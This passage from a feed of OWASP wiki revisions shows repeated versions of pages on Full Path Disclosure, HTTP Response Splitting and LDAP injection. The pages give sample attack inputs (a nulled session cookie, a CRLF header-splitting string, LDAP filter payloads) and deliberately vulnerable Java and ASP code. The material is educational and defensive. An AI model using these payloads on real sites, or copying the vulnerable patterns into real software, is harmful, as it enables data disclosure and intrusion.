&amp;lt;pre&amp;gt;Warning: opendir(Array): failed to open dir: No such file or directory in /home/omg/htdocs/index.php on line 84&lt;br /&gt;
Warning: pg_num_rows(): supplied argument ... in /usr/home/example/html/pie/index.php on line 131&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*  '''Null Session Cookie'''&lt;br /&gt;
&lt;br /&gt;
Another popular and very reliable method of producing errors containing a FPD is to give the page a nulled session using Javascript Injections.&lt;br /&gt;
A simple injection using this method would look something like so:&lt;br /&gt;
&amp;lt;pre&amp;gt;javascript:void(document.cookie=&amp;quot;PHPSESSID=&amp;quot;);&amp;lt;/pre&amp;gt;&lt;br /&gt;
By simply setting the PHPSESSID cookie to nothing (null) we get an error.&lt;br /&gt;
&amp;lt;pre&amp;gt;Warning: session_start() [function.session-start]: The session id contains illegal characters, &lt;br /&gt;
valid characters are a-z, A-Z, 0-9 and '-,' in /home/example/public_html/includes/functions.php on line 2&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Insider]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[SQL Injection]]&lt;br /&gt;
*[[Relative Path Traversal]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* None&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
This vulnerability is prevented simply by turning error reporting off so your code does not spit out errors.&lt;br /&gt;
&amp;lt;pre&amp;gt;error_reporting(0);&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* http://www.acunetix.com/vulnerabilities/Full-path-disclosure.htm&lt;br /&gt;
&lt;br /&gt;
*[http://www.enigmagroup.org/ Articled summarised from Full Path Disclosure article by haZed on EnigmaGroup.org.]&lt;br /&gt;
&lt;br /&gt;
*[http://www.enigmagroup.org/pages/view_articles/artID/175/ Original article location (registration required).]&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Full_Path_Disclosure&amp;diff=33112</id>
		<title>Full Path Disclosure</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Full_Path_Disclosure&amp;diff=33112"/>
				<updated>2008-07-02T11:36:27Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Threat Agents */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Full Path Disclosure (AKA, FPD) vulnerabilities enable the attacker to see the path to the webroot/file.  Eg: /home/omg/htdocs/file/. &lt;br /&gt;
Certain vulnerabilities such as using the load_file() (within an SQL injection) query to view page sources require the attacker to have the full path to the file they wish to view.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
*  '''Empty Array'''&lt;br /&gt;
&lt;br /&gt;
If we have a site that uses a method of requesting a page like this:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://site.com/index.php?page=about&amp;lt;/pre&amp;gt;&lt;br /&gt;
We can use a method of opening and closing braces and causing the page to output an error.  This method would look like this:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://site.com/index.php?page[]=about&amp;lt;/pre&amp;gt;&lt;br /&gt;
This renders the page defunct thus spitting out an error:&lt;br /&gt;
&amp;lt;pre&amp;gt;Warning: opendir(Array): failed to open dir: No such file or directory in /home/omg/htdocs/index.php on line 84&lt;br /&gt;
Warning: pg_num_rows(): supplied argument ... in /usr/home/example/html/pie/index.php on line 131&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*  '''Null Session Cookie'''&lt;br /&gt;
&lt;br /&gt;
Another popular and very reliable method of producing errors containing a FPD is to give the page a nulled session using Javascript Injections.&lt;br /&gt;
A simple injection using this method would look something like so:&lt;br /&gt;
&amp;lt;pre&amp;gt;javascript:void(document.cookie=&amp;quot;PHPSESSID=&amp;quot;);&amp;lt;/pre&amp;gt;&lt;br /&gt;
By simply setting the PHPSESSID cookie to nothing (null) we get an error.&lt;br /&gt;
&amp;lt;pre&amp;gt;Warning: session_start() [function.session-start]: The session id contains illegal characters, &lt;br /&gt;
valid characters are a-z, A-Z, 0-9 and '-,' in /home/example/public_html/includes/functions.php on line 2&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Insider]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[SQL Injection]]&lt;br /&gt;
*[[Relative Path Traversal]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
This vulnerability is prevented simply by turning error reporting off so your code does not spit out errors.&lt;br /&gt;
&amp;lt;pre&amp;gt;error_reporting(0);&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* http://www.acunetix.com/vulnerabilities/Full-path-disclosure.htm&lt;br /&gt;
&lt;br /&gt;
*[http://www.enigmagroup.org/ Articled summarised from Full Path Disclosure article by haZed on EnigmaGroup.org.]&lt;br /&gt;
&lt;br /&gt;
*[http://www.enigmagroup.org/pages/view_articles/artID/175/ Original article location (registration required).]&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=HTTP_Response_Splitting&amp;diff=33105</id>
		<title>HTTP Response Splitting</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=HTTP_Response_Splitting&amp;diff=33105"/>
				<updated>2008-07-02T11:31:51Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Controls */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
HTTP response splitting vulnerabilities occur when:&lt;br /&gt;
&lt;br /&gt;
* Data enters a web application through an untrusted source, most frequently an HTTP request. &lt;br /&gt;
* The data is included in an HTTP response header sent to a web user without being validated for malicious characters. &lt;br /&gt;
&lt;br /&gt;
As with many software security vulnerabilities, HTTP response splitting is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP response header.&lt;br /&gt;
&lt;br /&gt;
To mount a successful exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allows them to create additional responses entirely under their control.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	String author = request.getParameter(AUTHOR_PARAM);&lt;br /&gt;
	...&lt;br /&gt;
	Cookie cookie = new Cookie(&amp;quot;author&amp;quot;, author);&lt;br /&gt;
        cookie.setMaxAge(cookieExpiration);&lt;br /&gt;
        response.addCookie(cookie);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Assuming a string consisting of standard alpha-numeric characters, such as &amp;quot;Jane Smith&amp;quot;, is submitted in the request the HTTP response including this cookie might take the following form:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	HTTP/1.1 200 OK&lt;br /&gt;
	...&lt;br /&gt;
	Set-Cookie: author=Jane Smith&lt;br /&gt;
	...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
However, because the value of the cookie is formed of unvalidated user input the response will only maintain this form if the value submitted for AUTHOR_PARAM does not contain any CR and LF characters. If an attacker submits a malicious string, such as &amp;quot;Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...&amp;quot;, then the HTTP response would be split into two responses of the following form:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	HTTP/1.1 200 OK&lt;br /&gt;
	...&lt;br /&gt;
	Set-Cookie: author=Wiley Hacker&lt;br /&gt;
	&lt;br /&gt;
	HTTP/1.1 200 OK&lt;br /&gt;
	...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including: cross-user defacement, web and browser cache poisoning, cross-site scripting and page hijacking.&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Insider]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[Cross-User Defacement]]&lt;br /&gt;
*[[Cache Poisoning]]&lt;br /&gt;
*[[Cross-Site Scripting]]&lt;br /&gt;
*[[Page Hijacking]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category:Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* http://www.infosecwriters.com/text_resources/pdf/HTTP_Response.pdf - HTTP Response Spliting&lt;br /&gt;
&lt;br /&gt;
* http://www.securiteam.com/securityreviews/5WP0E2KFGK.html - Introdution to HTTP Response Spliting&lt;br /&gt;
&lt;br /&gt;
* Watchfire Whitepaper: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics Whitepaper[http://download.watchfire.com/ttl/wp/HTTPResponseSplitting.pdf?file=HTTPResponseSplitting.pdf&amp;amp;authToken=1214447561_257e36e250a83a8e5942584866d295ee]&lt;br /&gt;
&lt;br /&gt;
==Credit==&lt;br /&gt;
&lt;br /&gt;
{{Template:Fortify}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category: Protocol Manipulation]]&lt;br /&gt;
&lt;br /&gt;
[[Category: Attack]]&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=HTTP_Response_Splitting&amp;diff=33104</id>
		<title>HTTP Response Splitting</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=HTTP_Response_Splitting&amp;diff=33104"/>
				<updated>2008-07-02T11:31:41Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Vulnerabilities */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
HTTP response splitting vulnerabilities occur when:&lt;br /&gt;
&lt;br /&gt;
* Data enters a web application through an untrusted source, most frequently an HTTP request. &lt;br /&gt;
* The data is included in an HTTP response header sent to a web user without being validated for malicious characters. &lt;br /&gt;
&lt;br /&gt;
As with many software security vulnerabilities, HTTP response splitting is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP response header.&lt;br /&gt;
&lt;br /&gt;
To mount a successful exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allows them to create additional responses entirely under their control.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	String author = request.getParameter(AUTHOR_PARAM);&lt;br /&gt;
	...&lt;br /&gt;
	Cookie cookie = new Cookie(&amp;quot;author&amp;quot;, author);&lt;br /&gt;
        cookie.setMaxAge(cookieExpiration);&lt;br /&gt;
        response.addCookie(cookie);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Assuming a string consisting of standard alpha-numeric characters, such as &amp;quot;Jane Smith&amp;quot;, is submitted in the request the HTTP response including this cookie might take the following form:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	HTTP/1.1 200 OK&lt;br /&gt;
	...&lt;br /&gt;
	Set-Cookie: author=Jane Smith&lt;br /&gt;
	...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
However, because the value of the cookie is formed of unvalidated user input the response will only maintain this form if the value submitted for AUTHOR_PARAM does not contain any CR and LF characters. If an attacker submits a malicious string, such as &amp;quot;Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...&amp;quot;, then the HTTP response would be split into two responses of the following form:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	HTTP/1.1 200 OK&lt;br /&gt;
	...&lt;br /&gt;
	Set-Cookie: author=Wiley Hacker&lt;br /&gt;
	&lt;br /&gt;
	HTTP/1.1 200 OK&lt;br /&gt;
	...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including: cross-user defacement, web and browser cache poisoning, cross-site scripting and page hijacking.&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Insider]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[Cross-User Defacement]]&lt;br /&gt;
*[[Cache Poisoning]]&lt;br /&gt;
*[[Cross-Site Scripting]]&lt;br /&gt;
*[[Page Hijacking]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category:Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* http://www.infosecwriters.com/text_resources/pdf/HTTP_Response.pdf - HTTP Response Spliting&lt;br /&gt;
&lt;br /&gt;
* http://www.securiteam.com/securityreviews/5WP0E2KFGK.html - Introdution to HTTP Response Spliting&lt;br /&gt;
&lt;br /&gt;
* Watchfire Whitepaper: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics Whitepaper[http://download.watchfire.com/ttl/wp/HTTPResponseSplitting.pdf?file=HTTPResponseSplitting.pdf&amp;amp;authToken=1214447561_257e36e250a83a8e5942584866d295ee]&lt;br /&gt;
&lt;br /&gt;
==Credit==&lt;br /&gt;
&lt;br /&gt;
{{Template:Fortify}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category: Protocol Manipulation]]&lt;br /&gt;
&lt;br /&gt;
[[Category: Attack]]&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=HTTP_Response_Splitting&amp;diff=33103</id>
		<title>HTTP Response Splitting</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=HTTP_Response_Splitting&amp;diff=33103"/>
				<updated>2008-07-02T11:31:29Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Threat Agents */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
HTTP response splitting vulnerabilities occur when:&lt;br /&gt;
&lt;br /&gt;
* Data enters a web application through an untrusted source, most frequently an HTTP request. &lt;br /&gt;
* The data is included in an HTTP response header sent to a web user without being validated for malicious characters. &lt;br /&gt;
&lt;br /&gt;
As with many software security vulnerabilities, HTTP response splitting is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP response header.&lt;br /&gt;
&lt;br /&gt;
To mount a successful exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allows them to create additional responses entirely under their control.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	String author = request.getParameter(AUTHOR_PARAM);&lt;br /&gt;
	...&lt;br /&gt;
	Cookie cookie = new Cookie(&amp;quot;author&amp;quot;, author);&lt;br /&gt;
        cookie.setMaxAge(cookieExpiration);&lt;br /&gt;
        response.addCookie(cookie);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Assuming a string consisting of standard alpha-numeric characters, such as &amp;quot;Jane Smith&amp;quot;, is submitted in the request the HTTP response including this cookie might take the following form:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	HTTP/1.1 200 OK&lt;br /&gt;
	...&lt;br /&gt;
	Set-Cookie: author=Jane Smith&lt;br /&gt;
	...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
However, because the value of the cookie is formed of unvalidated user input the response will only maintain this form if the value submitted for AUTHOR_PARAM does not contain any CR and LF characters. If an attacker submits a malicious string, such as &amp;quot;Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...&amp;quot;, then the HTTP response would be split into two responses of the following form:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	HTTP/1.1 200 OK&lt;br /&gt;
	...&lt;br /&gt;
	Set-Cookie: author=Wiley Hacker&lt;br /&gt;
	&lt;br /&gt;
	HTTP/1.1 200 OK&lt;br /&gt;
	...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including: cross-user defacement, web and browser cache poisoning, cross-site scripting and page hijacking.&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Insider]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[Cross-User Defacement]]&lt;br /&gt;
*[[Cache Poisoning]]&lt;br /&gt;
*[[Cross-Site Scripting]]&lt;br /&gt;
*[[Page Hijacking]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* http://www.infosecwriters.com/text_resources/pdf/HTTP_Response.pdf - HTTP Response Spliting&lt;br /&gt;
&lt;br /&gt;
* http://www.securiteam.com/securityreviews/5WP0E2KFGK.html - Introdution to HTTP Response Spliting&lt;br /&gt;
&lt;br /&gt;
* Watchfire Whitepaper: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics Whitepaper[http://download.watchfire.com/ttl/wp/HTTPResponseSplitting.pdf?file=HTTPResponseSplitting.pdf&amp;amp;authToken=1214447561_257e36e250a83a8e5942584866d295ee]&lt;br /&gt;
&lt;br /&gt;
==Credit==&lt;br /&gt;
&lt;br /&gt;
{{Template:Fortify}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category: Protocol Manipulation]]&lt;br /&gt;
&lt;br /&gt;
[[Category: Attack]]&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=LDAP_injection&amp;diff=33101</id>
		<title>LDAP injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=LDAP_injection&amp;diff=33101"/>
				<updated>2008-07-02T11:30:47Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Controls */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it’s possible to modify LDAP statements using a local proxy. This could result in the execution of arbitrary command such as granting permissions to unauthorized queries, and content modification inside the LDAP tree.&lt;br /&gt;
The same advanced exploitation techniques available in SQL Injection can be similarly applied in LDAP Injection.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
In a page with a user search form, the following code is responsible to catch input value and generate a LDAP query that will be used in LDAP database.&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;input type=&amp;quot;text&amp;quot; size=20 name=&amp;quot;userName&amp;quot;&amp;gt;Insert the username&amp;lt;/input&amp;gt; &lt;br /&gt;
&lt;br /&gt;
The  LDAP query is narrowed down for performance and the underlying code for this function might be the following:&lt;br /&gt;
  String ldapSearchQuery = &amp;quot;(cn=&amp;quot; + $userName + &amp;quot;)&amp;quot;;&lt;br /&gt;
  System.out.println(ldapSearchQuery); &lt;br /&gt;
&lt;br /&gt;
Case the variable $userName is not validated, it could be possible accomplish LDAP injection, as follows:&lt;br /&gt;
 *If a user puts “*” on box search, the system may return all the usernames on the LDAP base&lt;br /&gt;
 *If a user puts “jonys) (| (password = * ) )”, it will generate the code bellow revealing jonys’ password&lt;br /&gt;
 ( cn = jonys ) ( | (password = * ) )&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
The following vulnerable code is used in an ASP web application which provides login with LDAP data base. &lt;br /&gt;
On line 11, the variable userName is initialized and validated to check if it’s not in blank. Then, the content of this variable is used to construct a LDAP query used by SearchFilter on line 28. The attacker has the chance specify what will be queried on LDAP server, and see the result on the line 33 to 41, are all results and their attributes are displayed.&lt;br /&gt;
&lt;br /&gt;
Commented vulnerable asp code:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt; &lt;br /&gt;
 1.	&amp;lt;html&amp;gt;&lt;br /&gt;
 2.	&amp;lt;body&amp;gt;&lt;br /&gt;
 3.	&amp;lt;%@ Language=VBScript %&amp;gt;&lt;br /&gt;
 4.	&amp;lt;%&lt;br /&gt;
 5.	Dim userName&lt;br /&gt;
 6.	Dim filter&lt;br /&gt;
 7.	Dim ldapObj&lt;br /&gt;
 8.		&lt;br /&gt;
 9.	Const LDAP_SERVER = &amp;quot;ldap.example&amp;quot;&lt;br /&gt;
 10.	&lt;br /&gt;
 11.	userName = Request.QueryString(&amp;quot;user&amp;quot;)&lt;br /&gt;
 12.	&lt;br /&gt;
 13.	if( userName = &amp;quot;&amp;quot; ) then&lt;br /&gt;
 14.	Response.Write(&amp;quot;Invalid request. Please specify a valid&lt;br /&gt;
 15.	user name&amp;quot;)&lt;br /&gt;
 16.	Response.End()&lt;br /&gt;
 17.	end if&lt;br /&gt;
 18.	&lt;br /&gt;
 19.	filter = &amp;quot;(uid=&amp;quot; + CStr(userName) + &amp;quot;)&amp;quot; ' searching for the  user entry &lt;br /&gt;
 20.	&lt;br /&gt;
 21.	'Creating the LDAP object and setting the base dn&lt;br /&gt;
 22.	Set ldapObj = Server.CreateObject(&amp;quot;IPWorksASP.LDAP&amp;quot;)&lt;br /&gt;
 23.	ldapObj.ServerName = LDAP_SERVER&lt;br /&gt;
 24.	ldapObj.DN = &amp;quot;ou=people,dc=spilab,dc=com&amp;quot;&lt;br /&gt;
 25.	&lt;br /&gt;
 26.	'Setting the search filter&lt;br /&gt;
 27.	ldapObj.SearchFilter = filter&lt;br /&gt;
 28.	&lt;br /&gt;
 29.	ldapObj.Search&lt;br /&gt;
 30.	&lt;br /&gt;
 31.	'Showing the user information&lt;br /&gt;
 32.	While ldapObj.NextResult = 1&lt;br /&gt;
 33.	Response.Write(&amp;quot;&amp;lt;p&amp;gt;&amp;quot;)&lt;br /&gt;
 34.	&lt;br /&gt;
 35.	Response.Write(&amp;quot;&amp;lt;b&amp;gt;&amp;lt;u&amp;gt;User information for: &amp;quot; + &lt;br /&gt;
 36.	ldapObj.AttrValue(0) + &amp;quot;&amp;lt;/u&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
 37.	For i = 0 To ldapObj.AttrCount -1&lt;br /&gt;
 38.	Response.Write(&amp;quot;&amp;lt;b&amp;gt;&amp;quot; + ldapObj.AttrType(i) +&amp;quot;&amp;lt;/b&amp;gt;: &amp;quot; +&lt;br /&gt;
 39.	ldapObj.AttrValue(i) + &amp;quot;&amp;lt;br&amp;gt;&amp;quot; )&lt;br /&gt;
 40.	Next&lt;br /&gt;
 41.	Response.Write(&amp;quot;&amp;lt;/p&amp;gt;&amp;quot;)&lt;br /&gt;
 42.	Wend&lt;br /&gt;
 43.	%&amp;gt;&lt;br /&gt;
 44.	&amp;lt;/body&amp;gt;&lt;br /&gt;
 45.	&amp;lt;/html&amp;gt;   &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
In the example above, we send the * character in the user parameter which will result in the filter variable in the code to be initialized with (uid=*). The resulting LDAP statement will make the server return any object that contains a uid attribute like username.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt; http://www.some-site.org/index.asp?user=*  &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Insider]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[Interpreter Injection]]&lt;br /&gt;
*[[SQL Injection]]&lt;br /&gt;
*[[Command Injection]]&lt;br /&gt;
*[[Relative Path Traversal]]&lt;br /&gt;
*[[Resource Injection]]&lt;br /&gt;
*[[Path Manipulation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* http://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf&lt;br /&gt;
&lt;br /&gt;
* http://www.ietf.org/rfc/rfc1960.txt A String Representation of LDAP Search Filters (RFC1960)&lt;br /&gt;
&lt;br /&gt;
* http://www.redbooks.ibm.com/redbooks/SG244986.html IBM RedBooks - Understanding LDAP&lt;br /&gt;
&lt;br /&gt;
* http://www.webappsec.org/projects/threat/classes/ldap_injection.shtml&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=LDAP_injection&amp;diff=33100</id>
